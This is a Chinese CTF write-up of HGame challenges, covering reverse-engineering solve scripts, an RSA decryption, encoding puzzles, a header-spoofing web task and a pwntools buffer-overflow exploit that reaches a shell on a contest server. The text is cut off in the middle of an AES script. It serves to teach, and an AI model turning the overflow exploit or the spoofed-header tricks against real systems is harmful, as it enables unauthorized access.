记录一下Hgame的部分题解和一些解题时的思路
Week1 Web 接 头 霸 王 打开题目,发现提示需要从vidar.club过来,所以burp抓包到repeater,添加响应头:
1 Referer:https://vidar.club
然后提示需要从本地访问,添加响应头:
1 X-Forwarded-For : 127.0.0.1
接着提示flag会在2077年更新,所以添加响应头:
1 If-Unmodified-Since:Fri, 01 Jan 2077 00:00:00 GMT
再发送请求得到flag
1 hgame{W0w!Your_heads_@re_s0_many!}
RE maze 一看题目又是一道迷宫题,拖进IDA反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 v5 = (char *)&unk_6020C4; while ( (signed int )v4 < SHIDWORD (v4) ) { v3 = s[(signed int )v4]; if ( v3 == 100 ) { v5 += 4 ; } else if ( v3 > 100 ) { if ( v3 == 115 ) { v5 += 64 ; } else { if ( v3 != 119 ) { LABEL_12: puts ("Illegal input!" ); exit (0 ); } v5 -= 64 ; } } else { if ( v3 != 97 ) goto LABEL_12; v5 -= 4 ; } if ( v5 < (char *)&unk_602080 || v5 > (char *)&unk_60247C || *(_DWORD *)v5 & 1 ) goto LABEL_22; LODWORD (v4) = v4 + 1 ; } if ( v5 == (char *)&unk_60243C ) { sprintf (&v7, "hgame{%s}" , s, v4); puts ("You win!" ); printf ("Flag is: " ); puts (&v7); exit (0 ); } LABEL_22: puts ("You died" ); exit (0 );
贴出来的是反编译出来的主要部分,从这里可以确定v5的起始位置是unk_6020C4,上下左右分别是’w’,’s’,’a’,’d’,左右移动变化4字节,将所有的数据转化为DWORD类型,上下移动变化64字节,所以每行16个元素,范围是unk_602080到unk_60247C,正好是256个DWORD类型,组成16*16的方阵,其中所有和1按位与运算结果为0的是可以走的路线,即所有末尾为0的值是可以走的位置,最终的目标是走到unk_60243C这个点
即从(2,2)位置走到(15,16)位置
所以最后的flag为
1 hgame{ssssddddddsssssddwwdddssssdssdd}
bitwise_operation2 这题是让人头疼的位运算符,要把运算总共分为三个部分,要把整个过程都弄清楚,然后一部分一部分的逆向出来,任何一部分错了都会导致最终flag出错,还是挺考验细心和耐心的。
首先发现是linux可执行文件,拖进IDA反编译,并且对每一部分的作用进行一个分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { char v6; char v7; char v8; char v9; char v10; char v11; char v12; char v13; __int64 v14; char v15; __int64 v16; char v17; char s; char v19; char v20; char v21; char v22; char v23; __int16 v24; __int16 v25; char v26; sub_4007E6 (); v6 = 76 ;v7 = 60 ;v8 = 214 ;v9 = 54 ;v10 = 80 ;v11 = 136 ;v12 = 32 ;v13 = 204 ; __isoc99_scanf("%39s" , &s); if ( strlen (&s) == 39 && s == 'h' && v19 == 'g' && v20 == 'a' && v21 == 'm' && v22 == 'e' && v23 == '{' && v26 == '}' ) { v14 = 0LL ; v15 = 0 ; v16 = 0LL ; v17 = 0 ; sub_400616 ((__int64)&v14, (__int64)&v24); sub_400616 ((__int64)&v16, (__int64)&v25); for ( i = 0 ; i <= 7 ; ++i ) { *((_BYTE *)&v14 + i) = ((*((_BYTE *)&v14 + i) & 0xE0 ) >> 5 ) | 8 * *((_BYTE *)&v14 + i); *((_BYTE *)&v14 + i) = *((_BYTE *)&v14 + i) & 0x55 ^ ((*((_BYTE *)&v16 + 7 - i) & 0xAA ) >> 1 ) | *((_BYTE *)&v14 + i) & 0xAA ; *((_BYTE *)&v16 + 7 - i) = 2 * (*((_BYTE *)&v14 + i) & 0x55 ) ^ *((_BYTE *)&v16 + 7 - i) & 0xAA | *((_BYTE *)&v16 + 7 - i) & 0x55 ; *((_BYTE *)&v14 + i) = *((_BYTE *)&v14 + i) & 0x55 ^ ((*((_BYTE *)&v16 + 7 - i) & 0xAA ) >> 1 ) | *((_BYTE *)&v14 + i) & 0xAA ; } for ( j = 0 ; j <= 7 ; ++j ) { *((_BYTE *)&v14 + j) ^= *(&v6 + j); if ( *((_BYTE *)&v14 + j) != byte_602050[j] ) { puts ("sry, wrong flag" ); exit (0 ); } } for ( k = 0 ; k <= 7 ; ++k ) { *((_BYTE *)&v16 + k) ^= *((_BYTE *)&v14 + k) ^ *(&v6 + k); if ( *((_BYTE *)&v16 + k) != byte_602060[k] ) { puts ("Just one last step" ); exit (0 ); } } puts ("Congratulations! You are already familiar with bitwise operation." ); puts ("Flag is your input." ); exit (0 ); } puts ("Illegal input!" ); exit (0 ); } _BYTE *__fastcall sub_400616 (__int64 a1, __int64 a2) { _BYTE *result; signed int i; for ( i = 0 ; i <= 7 ; ++i ) { if ( *(_BYTE *)(2 * i + a2) <= 96 || *(_BYTE *)(2 * i + a2) > 102 ) { if ( *(_BYTE *)(2 * i + a2) <= 47 || *(_BYTE *)(2 * i + a2) > 57 ) { LABEL_17: puts ("Illegal input!" ); exit (0 ); } *(_BYTE *)(i + a1) = *(_BYTE *)(2 * i + a2) - 48 ; } else { *(_BYTE *)(i + a1) = *(_BYTE *)(2 * i + a2) - 87 ; } if ( *(_BYTE *)(2 * i + 1LL + a2) <= 96 || *(_BYTE *)(2 * i + 1LL + a2) > 102 ) { if ( *(_BYTE *)(2 * i + 1LL + a2) <= 47 || *(_BYTE *)(2 * i + 1LL + a2) > 57 ) goto LABEL_17; result = (_BYTE *)(i + a1); *result = 16 * *result + *(_BYTE *)(2 * i + 1LL + a2) - 48 ; } else { result = (_BYTE *)(i + a1); *result = 16 * *result + *(_BYTE *)(2 * i + 1LL + a2) - 87 ; } } return result; }
把整个过程理解清楚之后可以开始写脚本进行一个逆运算了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 v = [76 , 60 , 214 , 54 , 80 , 136 , 32 , 204 ] v0 = 'e4sy_Re_' v14 = [] for i in range (len (v0)): v14.append(ord (v0[i]) ^ v[i]) v16 = [] v1 = 'Easylif3' for i in range (len (v1)): v16.append(ord (v1[i]) ^ v14[i]) for i in range (8 ): v14[i] = (((v14[i] & 0x55 ) ^ ((v16[7 - i] & 0xAA ) >> 1 ) % 256 ) | v14[i] & 0xAA ) % 256 v16[7 - i] = (2 * (v14[i] & 0x55 ) ^ v16[7 - i] & 0xAA | v16[7 - i] & 0x55 ) % 256 v14[i] = (((v14[i] & 0x55 ) ^ ((v16[7 - i] & 0xAA ) >> 1 ) % 256 ) | v14[i] & 0xAA ) % 256 v14[i] = (((v14[i] & 0x1F ) << 5 ) | ((v14[i] & 0xF8 ) >> 3 )) % 256 v24 = [0 for i in range (16 )] v25 = [0 for i in range (16 )] alphabet = [48 , 49 , 50 , 51 , 52 , 53 , 54 , 55 , 56 , 57 , 97 , 98 , 99 , 100 , 101 , 102 ] for i in range (8 ): for j in alphabet: if 57 >= j > 47 : tmp = j - 48 else : tmp = j - 87 v24[2 *i]=j if 57 >= v14[i] - 16 * tmp + 48 > 47 : v24[2 * i + 1 ] = v14[i] - 16 * tmp + 48 break elif 102 >= v14[i] - 16 * tmp + 87 > 96 : v24[2 * i + 1 ] = v14[i] - 16 * tmp + 87 break else : continue for i in range (8 ): for j in alphabet: v25[2 * i] = j if 57 >= j > 47 : tmp = j - 48 else : tmp = j - 87 if 102 >= v16[i] - 16 * tmp + 87 > 96 : v25[2 * i + 1 ] = v16[i] - 16 * tmp + 87 break elif 57 >= v16[i] - 16 * tmp + 48 > 47 : v25[2 * i + 1 ] = v16[i] - 16 * tmp + 48 break else : continue flag = 'hgame{' +'' .join([chr (v24[i]) for i in range (16 )]) + '' .join([chr (v25[i]) for i in range (16 )])+'}' print (flag)
输出得到flag
1 hgame{0f233e63637982d266cbf41ecb1b0102}
到虚拟机上验证一下,发现结果正确
advance windows可执行程序,打开发现还是让输入flag,然后验证正确与否,还是IDA反编译,发现所有的函数名字IDA都识别不了,根据程序打开的提示语,搜索所有字符串找到主函数入口,根据具体操作给部分函数和变量重新命名,大概了解其用途
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 len; int len0; unsigned __int64 v5; _BYTE *v6; const char *v7; char flag; puts ("please input you flag:\n" ); memset (&flag, 0 , 0x100 ui64); scanf ("%s" , &flag, 100 i64); len = strlen (&flag); len0 = len; if ( !len ) { LABEL_6: v7 = "try again\n" ; goto LABEL_7; } v5 = sub_140002000 (len); v6 = malloc (v5); cryption (v6, (__int64)&flag, len0); if ( strncmp (v6, "0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX" , 0x64 ui64) ) { if ( v6 ) free (v6); goto LABEL_6; } v7 = "get it\n" ; LABEL_7: puts (v7); return 0 ; } signed __int64 __fastcall sub_140001EB0 (_BYTE *a1, __int64 a2, int a3) { int v3; __int64 v4; __int64 v5; _BYTE *v6; _BYTE *v7; signed __int64 v8; unsigned __int64 v9; unsigned __int64 v10; char v11; v3 = 0 ; v4 = a3 - 2 ; v5 = a2; v6 = a1; v7 = a1; if ( v4 > 0 ) { v8 = a2 + 1 ; v9 = ((unsigned __int64)((unsigned __int64)(v4 - 1 ) * (unsigned __int128)0xAAAAAAAAAAAAAAAB ui64 >> 64 ) >> 1 ) + 1 ; v3 = 3 * v9; do { v10 = *(unsigned __int8 *)(v8 - 1 ); v8 += 3 i64; *v7 = alphabet[v10 >> 2 ]; v7[1 ] = alphabet[((unsigned __int64)*(unsigned __int8 *)(v8 - 3 ) >> 4 ) | 16 i64 * (*(_BYTE *)(v8 - 4 ) & 3 )]; v7[2 ] = alphabet[4 i64 * (*(_BYTE *)(v8 - 3 ) & 0xF ) | ((unsigned __int64)*(unsigned __int8 *)(v8 - 2 ) >> 6 )]; v7[3 ] = alphabet[*(_BYTE *)(v8 - 2 ) & 0x3F ]; v7 += 4 ; --v9; } while ( v9 ); } if ( v3 < a3 ) { *v7 = alphabet[(unsigned __int64)*(unsigned __int8 *)(v3 + v5) >> 2 ]; if ( v3 == a3 - 1 ) { v11 = 61 ; v7[1 ] = alphabet[16 * (*(_BYTE *)(v3 + v5) & 3 )]; } else { v7[1 ] = alphabet[((unsigned __int64)*(unsigned __int8 *)(v5 + v3 + 1 ) >> 4 ) | 16 i64 * (*(_BYTE *)(v3 + v5) & 3 )]; v11 = alphabet[4 * (*(_BYTE *)(v5 + v3 + 1 ) & 0xF )]; } v7[2 ] = v11; v7[3 ] = 61 ; v7 += 4 ; } *v7 = 0 ; return v7 - v6 + 1 ; }
可以看到这里进行了很多操作,逆向起来很复杂而且工作量和难度都很多大,于是寻求别的方法,发现所有的操作都是围绕alphabet这一个字符数组来的,所以找到这个数组
1 alphabet='abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ'
观察发现这个数组非常熟悉,和base64的字母表完全一样,只是字符调换了顺序,然后观察最后的目标字符串,猜想这可能是改变字母表之后的base64编码,所以将之前的base64解码程序字母表修改为本题所提供的字母表,运行程序获得flag,所以猜想是正确的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 def b64de (path_in, path_out ): b64_str = open (path_in).read() charset = "abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ" bin_str = [] for i in b64_str: if i != '=' : try : x = str (bin (charset.index(i))).replace('0b' , '' ) except ValueError: print (i) bin_str.append('{:0>6}' .format (x)) b64_bin = bytearray () nums = len (bin_str) // 4 remain = len (bin_str) % 4 fore_part = bin_str[:4 * nums] while fore_part: b64_tmp = '' .join(fore_part[:4 ]) b64_tmp = [int (b64_tmp[x: x + 8 ], 2 ) for x in [0 , 8 , 16 ]] for i in b64_tmp: b64_bin.append(i) fore_part = fore_part[4 :] if remain: remain_part = '' .join(bin_str[nums * 4 :]) tmp = [int (remain_part[i * 8 :(i + 1 ) * 8 ], 2 ) for i in range (remain - 1 )] for i in tmp: b64_bin.append(i) fd = open (path_out, 'wb' ) fd.write(b64_bin) fd.close() if __name__ == '__main__' : b64de("./pic_en.txt" , "./pic_de.txt" )
输出的flag为:
1 hgame{b45e6a_i5_50_eazy_6VVSQ}
cpp 这题函数实在是太多,而且应该是万恶的出题人故意把函数标识去掉了,理解起来简直窒息,但是逆向这个东西,七分理解三分猜,于是开猜
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 sub_140002AE0 ((__int64)&v13); sub_1400018D0 (std::cin, &v13); v15 = "hgame{" ; sub_140002B30 ((__int64)&v14); if ( find_sub (&v13, v15, 0 i64) || find_sub (&v13, "}" , 0 i64) != 61 ) { v5 = sub_140001900 (std::cout, "error" ); std::basic_ostream<char ,std::char_traits<char >>::operator <<(v5, sub_140002830); sub_140003010 (&v14); sub_140002FA0 (&v13); result = 0 i64; } else { for ( i = 6 i64; ; i = v11 + 1 ) { LOBYTE (v0) = '_' ; v11 = find (&v13, v0, i); if ( v11 == -1 ) break ; v16 = sub_1400043B0 (&v13, &v40, i, v11 - i); v17 = v16; v1 = sub_140003E80 (v16); v18 = atoll (v1); sub_140004350 (&v14, &v18); sub_140002FA0 (&v40); } v19 = sub_1400043B0 (&v13, &v41, i, 61 - i); v20 = v19; v2 = sub_140003E80 (v19); v21 = atoll (v2); sub_140004350 (&v14, &v21); sub_140002FA0 (&v41); v31 = 26727 i64; v32 = 24941 i64; v33 = 101 i64; v34 = 29285 i64; v35 = 26995 i64; v36 = 29551 i64; v37 = 29551 i64; v38 = 25953 i64; v39 = 29561 i64; v22 = 1 i64; v23 = 0 i64; v24 = 1 i64; v25 = 0 i64; v26 = 1 i64; v27 = 1 i64; v28 = 1 i64; v29 = 2 i64; v30 = 2 i64; for ( j = 0 i64; j < 3 ; ++j ) { for ( k = 0 i64; k < 3 ; ++k ) { v12 = 0 i64; for ( l = 0 ; l < 3 ; ++l ) v12 += *(&v22 + 3 * l + k) * *(_QWORD *)sub_1400031E0 (&v14, l + 3 * j); if ( *(&v31 + 3 * j + k) != v12 ) { v3 = sub_140001900 (std::cout, "error" ); std::basic_ostream<char ,std::char_traits<char >>::operator <<(v3, sub_140002830); sub_140003010 (&v14); sub_140002FA0 (&v13); return 0 i64; } } } v6 = sub_140001900 (std::cout, "you are good at re" ); std::basic_ostream<char ,std::char_traits<char >>::operator <<(v6, sub_140002830);
最主要的部分(假装)分析一遍,发现只需要矩阵求逆和矩阵乘法,就可以得到flag
尝试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import numpy as npa = np.array([[1 , 0 , 1 ], [0 , 1 , 1 ], [1 , 2 , 2 ]]) b = np.linalg.inv(a) c = np.array([[26727 , 24941 , 101 ], [29285 , 26995 , 29551 ], [29551 , 25953 , 29561 ]]) flag = '' d = np.dot(c, b) for i in range (3 ): for j in range (3 ): flag += str (int (d.item(i, j))) + '_' flag = 'hgame{' + flag[:-1 ] + '}' print (flag)
提交提示成功,猜测正确
1 hgame{-24840_-78193_51567_2556_-26463_26729_3608_-25933_25943}
PWN Hard_AAAAA IDA反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl main (int argc, const char **argv, const char **envp) { char s; char v5; unsigned int v6; int *v7; v7 = &argc; v6 = __readgsdword(0x14 u); alarm (8u ); setbuf (_bss_start, 0 ); memset (&s, 0 , 0xA0 u); puts ("Let's 0O0o\\0O0!" ); gets (&s); if ( !memcmp ("0O0o" , &v5, 7u ) ) backdoor (); return 0 ; } int backdoor () { return system ("/bin/sh" ); }
所以最终的目标是运行backdoor(),所以只需要进入if分支就可以了,即v5和前面的字符串相等,自然想到输入s覆盖v5的值,不过需要注意的是,memcmp函数比较了7位,所以还要找到后面的几个字节,形成payload
1 2 3 4 5 6 7 from pwn import *io = remote("47.103.214.163" ,"20000" ) io.recvuntil("Let's 0O0o\\0O0!" ) payload='a' *123 +'0O0o\0O0' io.sendline(payload) io.interactive()
最终得到flag:
Crypto InfantRSA 简单的RSA解密,p和q都已经分解出来了,其它的没什么难度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def gcdext (a, b ): """ a: 模的取值 b: 想求逆的值 """ if b == 0 : return 1 , 0 , a x, y, gcd = gcdext(b, a % b) return y, x - a // b * y, gcd c = 275698465082361070145173688411496311542172902608559859019841 p = 681782737450022065655472455411 q = 675274897132088253519831953441 e = 13 n = p * q fai = (p - 1 ) * (q - 1 ) (d, k, g) = gcdext(e, fai) m = pow (c, d, n) f = m.to_bytes(22 , byteorder='big' ) print (f)
直接求解出来flag
misc 欢迎参加HGame! 首先看到一长串似曾相识的东西
1 Li0tIC4uLi0tIC4tLi4gLS4tLiAtLS0tLSAtLSAuIC4uLS0uLSAtIC0tLSAuLi0tLi0gLi4tLS0gLS0tLS0gLi4tLS0gLS0tLS0gLi4tLS4tIC4uLi4gLS0uIC4tIC0tIC4uLi0t
像是摩斯电码base64加密之后的东西
所以base64解码之后
1 .-- ...-- .-.. -.-. ----- -- . ..--.- - --- ..--.- ..--- ----- ..--- ----- ..--.- .... --. .- -- ...--
果然是摩斯电码,然后解摩斯电码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 CODE = {'A' : '.-' , 'B' : '-...' , 'C' : '-.-.' , 'D' : '-..' , 'E' : '.' , 'F' : '..-.' , 'G' : '--.' , 'H' : '....' , 'I' : '..' , 'J' : '.---' , 'K' : '-.-' , 'L' : '.-..' , 'M' : '--' , 'N' : '-.' , 'O' : '---' , 'P' : '.--.' , 'Q' : '--.-' , 'R' : '.-.' , 'S' : '...' , 'T' : '-' , 'U' : '..-' , 'V' : '...-' , 'W' : '.--' , 'X' : '-..-' , 'Y' : '-.--' , 'Z' : '--..' , '0' : '-----' , '1' : '.----' , '2' : '..---' , '3' : '...--' , '4' : '....-' , '5' : '.....' , '6' : '-....' , '7' : '--...' , '8' : '---..' , '9' : '----.' , '.' : '.-.-.-' , ':' : '---...' , ',' : '--..--' , ';' : '-.-.-.' , '?' : '..--..' , '=' : '-...-' , '\'' : '.----.' , '/' : '-..-.' , '!' : '-.-.--' , '-' : '-....-' , '_' : '..--.-' , '"' : '.-..-.' , '(' : '-.--.' , ')' : '-.--.-' , '$' : '...-..-' , '&' : '.-...' , '@' : '.--.-.' } def Decode (str ): Decode_value = CODE.keys() Decode_key = CODE.values() Decode_dict = dict (zip (Decode_key, Decode_value)) text = '' msg = str .split(' ' ) for s in msg: if s in Decode_dict.keys(): text += Decode_dict[s] return text print (Decode('.-- ...-- .-.. -.-. ----- -- . ..--.- - --- ..--.- ..--- ----- ..--- ----- ..--.- .... --. .- -- ...--' ))
这里还有符号的摩斯电码,大部分的在线解码都没有,所以自己写了一个,解码出来补上hgame:
1 hgame{W3LC0ME_TO_2020_HGAM3}
壁纸 下载解压,是张图片,自然想到隐写,binwalk跑出来,发现是个压缩包,打开压缩包,发现需要密码,密码是这张照片在P站的ID,P站未知原因打不开,上B站找到了ID:76953815
解压出来打开flag.txt,内容如下:
1 \u 68\u 67\u 61\u 6d\u 65\u 7b\u 44\u 6f\u 5f\u 79\u 30\u 75\u 5f\u 4b\u 6e\u 4f\u 57\u 5f\u 75\u 4e\u 69\u 43\u 30\u 64\u 33\u 3f\u 7d
unicode编码,解码得:
1 hgame{Do_y0u_KnOW_uNiC0d3?}
签到题ProPlus 压缩包打开,有一个密码提示和一个新的压缩包,Password.txt得内容如下:
1 2 3 4 5 6 Rdjxfwxjfimkn z ,ts wntzi xtjrwm xsfjt jm ywt rtntwhf f y h jnsxf qjFjf jnb rg fiyykwtbsnkm tm xa jsdwqjfmkjy wlviHtqzqsGsffywjjyynf yssm xfjypnyihjn. JRFVJYFZVRUAGMAI * Three fences first , Five Caesar next . English sentense first , zip password next .
根据提示,把上面的内容用3个字符得栅栏密码和5个字符得凯撒密码解密,得到一段英文和压缩包的密码
1 2 3 Many years later as he faced the firing squad, Colonel Aureliano Buendia was to remember that distant afternoon when his father took him to discover ice. EAVMUBAQHQMVEPDT
解压出来得到一个新的txt文件,里面是莫名其妙的Ook语言,用在线工具翻译为text,得到一段base32编码大的字符串,base32解密之后得到了又一串编码过的字符,试一试base64,发现解码出来的内容有很多乱码,不过是PNG开头,应该是base64转图片,写个python脚本解码,得到一个二维码,扫码得到flag
1 hgame{3Nc0dInG_@lL_iN_0Ne!}
这题有各种各样的编码,还不错
Week2 RE unpack 明显upx脱壳,但是经过了万恶的出题人修改,不能用工具,只能手动脱壳 由于是linux可执行文件,PE常用的工具都没法用,只能开虚拟机用IDA远程调试,主要目的还是找到OEP,并且由于是linux程序,还省去了重建输入表的麻烦,直接就可以运行(虽然运不运行并不是很重要,主要是脱壳之后反编译出来) 脱壳的过程借鉴https://www.52pojie.cn/thread-1048649-1-1.html 很少有人对ELF64文件加壳,教程也很少,直接使用里面的idc修改目录导出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #include <idc.idc> #define PT_LOAD 1 #define PT_DYNAMIC 2 static main (void ) { auto ImageBase,StartImg,EndImg; auto e_phoff; auto e_phnum,p_offset; auto i,dumpfile; ImageBase=0x400000 ; StartImg=0x400000 ; EndImg=0x0 ; if (Dword (ImageBase)==0x7f454c46 || Dword (ImageBase)==0x464c457f ) { if (dumpfile=fopen ("D:\\dumpfile" ,"wb" )) { e_phoff=ImageBase+Qword (ImageBase+0x20 ); Message ("e_phoff = 0x%x\n" , e_phoff); e_phnum=Word (ImageBase+0x38 ); Message ("e_phnum = 0x%x\n" , e_phnum); for (i=0 ;i<e_phnum;i++) { if (Dword (e_phoff)==PT_LOAD || Dword (e_phoff)==PT_DYNAMIC) { p_offset=Qword (e_phoff+0x8 ); StartImg=Qword (e_phoff+0x10 ); EndImg=StartImg+Qword (e_phoff+0x28 ); Message ("start = 0x%x, end = 0x%x, offset = 0x%x\n" , StartImg, EndImg, p_offset); dump (dumpfile,StartImg,EndImg,p_offset); Message ("dump segment %d ok.\n" ,i); } e_phoff=e_phoff+0x38 ; } fseek (dumpfile,0x3c ,0 ); fputc (0x00 ,dumpfile); fputc (0x00 ,dumpfile); fputc (0x00 ,dumpfile); fputc (0x00 ,dumpfile); fseek (dumpfile,0x28 ,0 ); fputc (0x00 ,dumpfile); fputc (0x00 ,dumpfile); fputc (0x00 ,dumpfile); fputc (0x00 ,dumpfile); fputc (0x00 ,dumpfile); fputc (0x00 ,dumpfile); fputc (0x00 ,dumpfile); fputc (0x00 ,dumpfile); fclose (dumpfile); }else Message ("dump err." ); } } static dump (dumpfile,startimg,endimg,offset) { auto i; auto size; size=endimg-startimg; fseek (dumpfile,offset,0 ); for ( i=0 ; i < size; i=i+1 ) { fputc (Byte (startimg+i),dumpfile); } }
尝试在虚拟机里面运行,发现可以运行,代表脱壳成功,反编译,通过提示语找到程序处理输入的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 scanf ((__int64)"%42s" , v7); v5 = 0 ; for ( i = 0 ; i <= 41 ; ++i ) { if ( i + v7[i] != (unsigned __int8)byte_6CA0A0[i] ) v5 = 1 ; } if ( v5 == 1 ) { v0 = "Wrong input" ; printf ("Wrong input" , v7); } else { v0 = "Congratulations! Flag is your input" ; printf ("Congratulations! Flag is your input" , v7); }
本题主要考验手动脱壳的技巧,对于加密部分并没有设置太多的难度,直接导出6CA0A0处的数组然后进行逆变换就得到了flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <iostream> #include <string> using namespace std;int main () { unsigned char ida_chars[] = { 0x68 , 0x68 , 0x63 , 0x70 , 0x69 , 0x80 , 0x5B , 0x75 , 0x78 , 0x49 , 0x6D , 0x76 , 0x75 , 0x7B , 0x75 , 0x6E , 0x41 , 0x84 , 0x71 , 0x65 , 0x44 , 0x82 , 0x4A , 0x85 , 0x8C , 0x82 , 0x7D , 0x7A , 0x82 , 0x4D , 0x90 , 0x7E , 0x92 , 0x54 , 0x98 , 0x88 , 0x96 , 0x98 , 0x57 , 0x95 , 0x8F , 0xA6 }; string flag; for (int i=0 ;i<42 ;i++) { flag+=ida_chars[i]-i; } cout<<flag<<endl; return 0 ; }
最后输出flag
1 hgame {Unp@cking_1 s_R0 m4 ntic_f0 r_r3 vers1 ng}
Classic_CrackMe PEiD查看一下,没壳,编写语言是Microsoft Visual C# / Basic .NET,C#逆向没有难度,
dnSpy打开就和源码几乎没什么区别,这题显然难度不在这,反编译之后找到按键click事件,关键代码就在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 private void button1_Click(object sender, EventArgs e) { if (this.status == 1) { MessageBox.Show("你已经激活成功啦,快去提交flag吧~~~"); return; } string text = this.textBox1.Text; if (text.Length != 46 || text.IndexOf("hgame{") != 0 || text.IndexOf("}") != 45) { MessageBox.Show("Illegal format"); return; } string base64iv = text.Substring(6, 24); string str = text.Substring(30, 15); try { Aes aes = new Aes("SGc0bTNfMm8yMF9XZWVLMg==", base64iv); Aes aes2 = new Aes("SGc0bTNfMm8yMF9XZWVLMg==", "MFB1T2g5SWxYMDU0SWN0cw=="); string text2 = aes.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="); if (text2.Equals("Same_ciphertext_")) { byte[] array = new byte[16]; Array.Copy(aes2.EncryptToByte(text2 + str), 16, array, 0, 16); if (Convert.ToBase64String(array).Equals("dJntSWSPWbWocAq4yjBP5Q==")) { MessageBox.Show("注册成功!"); this.Text = "已激活,欢迎使用!"; this.status = 1; } else { MessageBox.Show("注册失败!\nhint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=")); } } else { MessageBox.Show("注册失败!\nhint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=")); } } catch { MessageBox.Show("注册失败!"); } }
发现最终考察的还是aes的cbc模式,我们输入的flag被掐头去尾分成了两部分,前一部分作为第一个aes实例的base64iv,第二段作为第二个实例的明文后半段,具体原理可以百度。
对于第一部分,每个key解密一组密文的结果是一样的只是iv不同,明文不同,所以只需要另找一组iv,求出这个解密之后的结果(解密出来的明文 xor FakeIV),然后在异或我们已知的明文就可以得到结果
对于第二部分,根据原理我们知道,后面的部分并不影响前面的加密结果,所以直接把一致的明文加密,然后再和已知的密文合并在一起,得到整体的一个密文,然后解密出来的后半部分就是我们需要的字符串。
不过这里需要注意几点,注意输入输出的数据类型,并且对于第二部分的处理要记得填充字符,因为第二部分只有15位,要填充到16位才能运算,一开始这里没注意,花了好长时间结果还是错的。
直接python解决:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from Crypto.Cipher import AESimport base64class AesCrypter (object ): def __init__ (self, key, iv ): self.key = key self.iv = iv def pkcs7padding (self, text ): bs = AES.block_size length = len (text) bytes_length = len (bytes (text, encoding='utf-8' )) padding_size = length if (bytes_length == length) else bytes_length padding = bs - padding_size % bs padding_text = chr (padding) * padding return text + padding_text def pkcs7unpadding (self, text ): length = len (text) unpadding = ord (text[length - 1 ]) return text[0 :length - unpadding] def encrypt (self, content ): cipher = AES.new(self.key, AES.MODE_CBC, self.iv) content_padding = self.pkcs7padding(content) aes_encode_bytes = cipher.encrypt(bytes (content_padding, encoding='utf-8' )) result = base64.b64encode(aes_encode_bytes).decode(encoding='utf-8' ) return result def decrypt (self, content ): cipher = AES.new(self.key, AES.MODE_CBC, self.iv) aes_encode_bytes = base64.b64decode(content) aes_decode_bytes = cipher.decrypt(aes_encode_bytes) result = aes_decode_bytes.decode(encoding='utf-8' ) result = self.pkcs7unpadding(result) if result == None : return "" else : return result key = base64.b64decode("SGc0bTNfMm8yMF9XZWVLMg==" ) fakeIV = base64.b64decode('MFB1T2g5SWxYMDU0SWN0cw==' ) plainText = "Same_ciphertext_" ciperText = 